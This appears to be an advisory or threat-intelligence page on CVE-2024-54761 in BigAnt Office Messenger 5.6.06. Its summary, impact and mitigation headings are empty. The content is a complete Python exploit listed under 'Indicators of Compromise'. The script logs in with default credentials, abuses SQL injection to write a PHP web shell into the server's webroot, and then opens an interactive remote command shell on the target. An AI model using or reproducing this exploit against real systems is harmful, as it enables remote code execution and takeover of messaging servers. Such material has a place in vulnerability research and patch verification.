Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: BigAnt Office Messenger 5.6.06 - SQL Injection # Date: 01.09.2025 # Exploit Author: Nicat Abbasov # Vendor Homepage: https://www.bigantsoft.com/ # Software Link: https://www.bigantsoft.com/download.html # Version: 5.6.06 # Tested on: 5.6.06 # CVE : CVE-2024-54761 # Github repo: https://github.com/nscan9/CVE-2024-54761 import requests from bs4 import BeautifulSoup import base64 class Exploit: def __init__(self, rhost, rport=8000, username='admin', password='123456'): self.rhost = rhost self.rport = rport self.username = username.lower() self.password = password self.target = f'http://{self.rhost}:{self.rport}' self.session = requests.Session() self.headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'X-Requested-With': 'XMLHttpRequest', 'Origin': self.target, 'Referer': f'{self.target}/index.php/Home/login/index.html', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', } self.clientid_map = { 'admin': '1', 'security': '2', 'auditor': '3', 'superadmin': '4', } self.clientid = self.clientid_map.get(self.username, '4') # Default to 4 if unknown def get_tokens(self): print("[*] Fetching login page tokens...") url = f'{self.target}/index.php/Home/login/index.html' r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']}) soup = BeautifulSoup(r.text, 'html.parser') tokens = {} meta = soup.find('meta', attrs={'name': '__hash__'}) if meta: tokens['__hash__'] = meta['content'] form = soup.find('form') if form: for hidden in form.find_all('input', type='hidden'): name = hidden.get('name') value = hidden.get('value', '') if name and name not in tokens: tokens[name] = value return tokens def login(self): tokens = self.get_tokens() if '__hash__' in tokens: tokens['__hash__'] = tokens['__hash__'] encoded_password = base64.b64encode(self.password.encode()).decode() data = { 'saas': 'default', 'account': self.username, 'password': encoded_password, 'to': 'admin', 'app': '', 'submit': '', } data.update(tokens) login_url = f'{self.target}/index.php/Home/Login/login_post' print(f"[*] Logging in as {self.username}...") resp = self.session.post(login_url, headers=self.headers, data=data) if resp.status_code != 200: print(f"[-] Login failed with HTTP {resp.status_code}") return False try: json_resp = resp.json() if json_resp.get('status') == 1: print("[+] Login successful!") return True else: print(f"[-] Login failed: {json_resp.get('info')}") return False except: print("[-] Failed to parse login response JSON") return False def check_redirect(self): url = f'{self.target}/index.php/admin/public/load/clientid/{self.clientid}.html' print(f"[*] Checking for redirect after login to clientid {self.clientid} ...") r = self.session.get(url, headers={'User-Agent': self.headers['User-Agent']}, allow_redirects=False) if r.status_code == 302: print(f"[+] Redirect found to {r.headers.get('Location')}") return True else: print(f"[-] Redirect not found, got HTTP {r.status_code}") return False def upload_shell(self): print("[*] Uploading webshell via SQLi...") payload = ';SELECT "<?php system($_GET[\'cmd\']); ?>" INTO OUTFILE \'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php\'-- -' url = f'{self.target}/index.php/Admin/user/index/clientid/{self.clientid}.html' params = {'dev_code': payload} r = self.session.get(url, params=params, headers={'User-Agent': self.headers['User-Agent']}) if r.status_code == 200: print("[+] Payload sent, checking the shell...") self.check_shell() else: print(f"[-] Failed to send payload, HTTP {r.status_code}") def check_shell(self): print("[*] Enter shell commands to execute on the target. Empty command to exit.") while True: cmd = input("shell> ").strip() if not cmd: print("[*] Exiting shell.") break shell_url = f'{self.target}/shell.php?cmd={cmd}' print(f"[*] Sending command: {cmd}") r = self.session.get(shell_url) if r.status_code == 200 and r.text.strip(): print(r.text.strip()) else: print("[-] No response or empty output from shell.") def run(self): if self.login(): if self.check_redirect(): self.upload_shell() else: print("[-] Redirect check failed, aborting.") else: print("[-] Login failed, aborting.") if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='Exploit for CVE-2024-54761 BigAntSoft SQLi to RCE') parser.add_argument('-r', '--rhost', required=True, help='Target IP address') parser.add_argument('-p', '--rport', default=8000, type=int, help='Target port (default 8000)') parser.add_argument('-u', '--username', default='admin', help='Login username (default admin)') parser.add_argument('-P', '--password', default='123456', help='Login password in plain text') args = parser.parse_args() exploit = Exploit(args.rhost, args.rport, args.username, args.password) exploit.run()